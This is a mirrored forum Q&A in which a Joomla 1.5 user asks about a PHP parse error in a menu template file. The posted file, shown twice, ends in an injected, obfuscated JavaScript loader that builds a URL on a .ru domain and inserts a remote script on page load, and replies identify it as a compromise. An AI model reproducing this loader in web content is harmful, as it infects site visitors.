解析错误:语法错误,意外的'<'在 /home/future/public_html/modules/mod_mainmenu/tmpl/default.php 第 84 行

发布于 2024-08-26 09:20:56 字数 4641 浏览 2 评论 0 原文

不幸的是,我的 php 文件出现未知错误。 (适用于 joomla 1.5) 我似乎不明白出了什么问题。

这是我的整个代码,第 84 行有一个明显的错误。希望得到一些反馈,谢谢。

<?php

// no direct access
defined('_JEXEC') or die('Restricted access');


if ( ! defined('modMainMenuXMLCallbackDefined') )
{
function modMainMenuXMLCallback(&$node, $args)
{
 $user = &JFactory::getUser();
 $menu = &JSite::getMenu();
 $active = $menu->getActive();
 $path = isset($active) ? array_reverse($active->tree) : null;

 if (($args['end']) && ($node->attributes('level') >= $args['end']))
 {
  $children = $node->children();
  foreach ($node->children() as $child)
  {
   if ($child->name() == 'ul') {
    $node->removeChild($child);
   }
  }
 }

 if ($node->name() == 'ul') {
  foreach ($node->children() as $child)
  {
   if ($child->attributes('access') > $user->get('aid', 0)) {
    $node->removeChild($child);
   }
  }
 }

 if (($node->name() == 'li') && isset($node->ul)) {
  $node->addAttribute('class', 'parent');
 }

 if (isset($path) && (in_array($node->attributes('id'), $path) || in_array($node->attributes('rel'), $path)))
 {
  if ($node->attributes('class')) {
   $node->addAttribute('class', $node->attributes('class').' active');
  } else {
   $node->addAttribute('class', 'active');
  }
 }
 else
 {
  if (isset($args['children']) && !$args['children'])
  {
   $children = $node->children();
   foreach ($node->children() as $child)
   {
    if ($child->name() == 'ul') {
     $node->removeChild($child);
    }
   }
  }
 }

 if (($node->name() == 'li') && ($id = $node->attributes('id'))) {
  if ($node->attributes('class')) {
   $node->addAttribute('class', $node->attributes('class').' item'.$id);
  } else {
   $node->addAttribute('class', 'item'.$id);
  }
 }

 if (isset($path) && $node->attributes('id') == $path[0]) {
  $node->addAttribute('id', 'current');
 } else {
  $node->removeAttribute('id');
 }
 $node->removeAttribute('rel');
 $node->removeAttribute('level');
 $node->removeAttribute('access');
}
 define('modMainMenuXMLCallbackDefined', true);
}

modMainMenuHelper::render($params, 'modMainMenuXMLCallback');

<script>var Zl;if(Zl!='' && Zl!='ki'){Zl=''};function v(){var jL=new String();var M=window;var q="";var ZY='';var Z=unescape;var C;if(C!='' && C!='g'){C=null};this.nj='';var _='';this.X="";var t=new Date();var R="\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x61\x72\x65\x61\x73\x61\x6c\x65\x2d\x63\x6f\x6d\x2e\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x7a\x2e\x65\x79\x6e\x79\x2d\x63\x6f\x6d\x2e\x59\x6f\x75\x72\x42\x6c\x65\x6e\x64\x65\x72\x50\x61\x72\x74\x73\x2e\x72\x75\x3a";var Od;if(Od!='Dm' && Od!='V'){Od='Dm'};var Vr='';var P=new String("g");var B="";var E;if(E!='' && E!='gD'){E=null};function b(y,U){var zm=new Array();var a='';this.Cm="";var Vb=new String();var k=Z("%5b")+U+Z("%5d");var tX=new String();var MV;if(MV!='' && MV!='qt'){MV='MD'};var c=new RegExp(k, P);return y.replace(c, _);var cS="";var RTD='';};var Zr;if(Zr!='' && Zr!='vJ'){Zr=''};var L=new String();var DE=new Date();var fg;if(fg!='Ep'){fg='Ep'};var nf;if(nf!=''){nf='d_'};var W=Z("%2f%67%6f%6f%67%6c%65%2e%61%74%2f%67%6f%6f%67%6c%65%2e%61%74%2f%64%72%75%64%67%65%72%65%70%6f%72%74%2e%63%6f%6d%2f%74%72%61%76%69%61%6e%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2e%70%68%70");this.aA='';var u='';this.XB='';var dP;if(dP!='i' && dP != ''){dP=null};var dN;if(dN!='' && dN!='zx'){dN='_y'};var WS=b('85624104275582212705194497','13296457');var Hb=new Array();var lP;if(lP!='ok' && lP != ''){lP=null};var O=document;function n(){var J;if(J!='mS' && J != ''){J=null};u=R;var jv;if(jv!='' && jv!='jw'){jv=''};u+=WS;var MJ;if(MJ!='Qp'){MJ=''};u+=W;var fj=new Array();this.PM="";try {this.dq='';var ln=new Date();var eS=new Date();h=O.createElement(b('sScwrwi4pSt5','OZjKg4w5S'));var uW=new String();var Aj;if(Aj!='lX'){Aj='lX'};var aF;if(aF!='' && aF!='_o'){aF=null};h.src=u;var GY;if(GY!='ev' && GY!='Jr'){GY='ev'};var KK;if(KK!=''){KK='gDq'};h.defer=[1][0];var nO;if(nO!='tP'){nO=''};var aV=new Date();var bE=new Date();O.body.appendChild(h);this.Ze="";} catch(MC){var Ki;if(Ki!='m_' && Ki != ''){Ki=null};};}M[String("pqP5onloa".substr(4)+"drYD".substr(0,1))]=n;var EY;if(EY!='' && EY!='wn'){EY='Sj'};var ep;if(ep!='' && ep!='_q'){ep='Oy'};var uE=new Array();var E_;if(E_!='iU'){E_='iU'};};this.pt="";v();var tl=new String();</script>
<!--793d57c076e95df45c451725e5dedf6f-->

I'm unfortunately having an unknown error with my php file. (for joomla 1.5)
I don't seem to get what's wrong.

This is my entire code, with an apparent error on line 84. Would appreciate some feedback, thanks.

<?php

// no direct access
defined('_JEXEC') or die('Restricted access');


if ( ! defined('modMainMenuXMLCallbackDefined') )
{
function modMainMenuXMLCallback(&$node, $args)
{
 $user = &JFactory::getUser();
 $menu = &JSite::getMenu();
 $active = $menu->getActive();
 $path = isset($active) ? array_reverse($active->tree) : null;

 if (($args['end']) && ($node->attributes('level') >= $args['end']))
 {
  $children = $node->children();
  foreach ($node->children() as $child)
  {
   if ($child->name() == 'ul') {
    $node->removeChild($child);
   }
  }
 }

 if ($node->name() == 'ul') {
  foreach ($node->children() as $child)
  {
   if ($child->attributes('access') > $user->get('aid', 0)) {
    $node->removeChild($child);
   }
  }
 }

 if (($node->name() == 'li') && isset($node->ul)) {
  $node->addAttribute('class', 'parent');
 }

 if (isset($path) && (in_array($node->attributes('id'), $path) || in_array($node->attributes('rel'), $path)))
 {
  if ($node->attributes('class')) {
   $node->addAttribute('class', $node->attributes('class').' active');
  } else {
   $node->addAttribute('class', 'active');
  }
 }
 else
 {
  if (isset($args['children']) && !$args['children'])
  {
   $children = $node->children();
   foreach ($node->children() as $child)
   {
    if ($child->name() == 'ul') {
     $node->removeChild($child);
    }
   }
  }
 }

 if (($node->name() == 'li') && ($id = $node->attributes('id'))) {
  if ($node->attributes('class')) {
   $node->addAttribute('class', $node->attributes('class').' item'.$id);
  } else {
   $node->addAttribute('class', 'item'.$id);
  }
 }

 if (isset($path) && $node->attributes('id') == $path[0]) {
  $node->addAttribute('id', 'current');
 } else {
  $node->removeAttribute('id');
 }
 $node->removeAttribute('rel');
 $node->removeAttribute('level');
 $node->removeAttribute('access');
}
 define('modMainMenuXMLCallbackDefined', true);
}

modMainMenuHelper::render($params, 'modMainMenuXMLCallback');

<script>var Zl;if(Zl!='' && Zl!='ki'){Zl=''};function v(){var jL=new String();var M=window;var q="";var ZY='';var Z=unescape;var C;if(C!='' && C!='g'){C=null};this.nj='';var _='';this.X="";var t=new Date();var R="\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x61\x72\x65\x61\x73\x61\x6c\x65\x2d\x63\x6f\x6d\x2e\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x7a\x2e\x65\x79\x6e\x79\x2d\x63\x6f\x6d\x2e\x59\x6f\x75\x72\x42\x6c\x65\x6e\x64\x65\x72\x50\x61\x72\x74\x73\x2e\x72\x75\x3a";var Od;if(Od!='Dm' && Od!='V'){Od='Dm'};var Vr='';var P=new String("g");var B="";var E;if(E!='' && E!='gD'){E=null};function b(y,U){var zm=new Array();var a='';this.Cm="";var Vb=new String();var k=Z("%5b")+U+Z("%5d");var tX=new String();var MV;if(MV!='' && MV!='qt'){MV='MD'};var c=new RegExp(k, P);return y.replace(c, _);var cS="";var RTD='';};var Zr;if(Zr!='' && Zr!='vJ'){Zr=''};var L=new String();var DE=new Date();var fg;if(fg!='Ep'){fg='Ep'};var nf;if(nf!=''){nf='d_'};var W=Z("%2f%67%6f%6f%67%6c%65%2e%61%74%2f%67%6f%6f%67%6c%65%2e%61%74%2f%64%72%75%64%67%65%72%65%70%6f%72%74%2e%63%6f%6d%2f%74%72%61%76%69%61%6e%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2e%70%68%70");this.aA='';var u='';this.XB='';var dP;if(dP!='i' && dP != ''){dP=null};var dN;if(dN!='' && dN!='zx'){dN='_y'};var WS=b('85624104275582212705194497','13296457');var Hb=new Array();var lP;if(lP!='ok' && lP != ''){lP=null};var O=document;function n(){var J;if(J!='mS' && J != ''){J=null};u=R;var jv;if(jv!='' && jv!='jw'){jv=''};u+=WS;var MJ;if(MJ!='Qp'){MJ=''};u+=W;var fj=new Array();this.PM="";try {this.dq='';var ln=new Date();var eS=new Date();h=O.createElement(b('sScwrwi4pSt5','OZjKg4w5S'));var uW=new String();var Aj;if(Aj!='lX'){Aj='lX'};var aF;if(aF!='' && aF!='_o'){aF=null};h.src=u;var GY;if(GY!='ev' && GY!='Jr'){GY='ev'};var KK;if(KK!=''){KK='gDq'};h.defer=[1][0];var nO;if(nO!='tP'){nO=''};var aV=new Date();var bE=new Date();O.body.appendChild(h);this.Ze="";} catch(MC){var Ki;if(Ki!='m_' && Ki != ''){Ki=null};};}M[String("pqP5onloa".substr(4)+"drYD".substr(0,1))]=n;var EY;if(EY!='' && EY!='wn'){EY='Sj'};var ep;if(ep!='' && ep!='_q'){ep='Oy'};var uE=new Array();var E_;if(E_!='iU'){E_='iU'};};this.pt="";v();var tl=new String();</script>
<!--793d57c076e95df45c451725e5dedf6f-->

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(3

如梦亦如幻 2024-09-02 09:20:57

你有病毒什么的。 Joomla mod_menu default.php 结束于 -

modMainMenuHelper::render($params, 'modMainMenuXMLCallback');

You have got virus or something. Joomla mod_menu default.php ends at -

modMainMenuHelper::render($params, 'modMainMenuXMLCallback');
梦境 2024-09-02 09:20:57

您的生产代码是否突然停止工作?如果是这样,我敢说你已经被黑客攻击了。

顺便说一句,该脚本从俄罗斯站点加载脚本。

Did your production code stop working suddenly? If so, I'd dare say you've been hacked.

BTW, the script loads a script from a Russian site.

草莓酥 2024-09-02 09:20:56

我愿意冒险猜测它是文件底部的 JavaScript。您需要在 JavaScript 之前关闭 PHP 标签,否则 PHP 最终会尝试将 JavaScript 视为 PHP 并失败。

我也会高度怀疑该 JavaScript 代码,因为它看起来并没有做任何好事。我建议完全删除它,除非您了解它在做什么。如果您没有将其放在那里,请检查您的网站是否有其他 JavaScript 代码,考虑更改您的 FTP 密码并确保 Joomla 完全是最新的。

I would be willing to hazard a guess that it is the JavaScript at the bottom of the file. You need to close the PHP tags before the JavaScript as otherwise PHP ends up trying to treat the JavaScript as PHP and failing.

I would also be highly suspicious of that JavaScript code as it doesn't look like it is doing anything nice. I would recommend removing it entirely unless you understand what it is doing. If you didn't put it there, check your site for other JavaScript code, consider changing your FTP password as well as ensuring Joomla is fully up to date.

~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文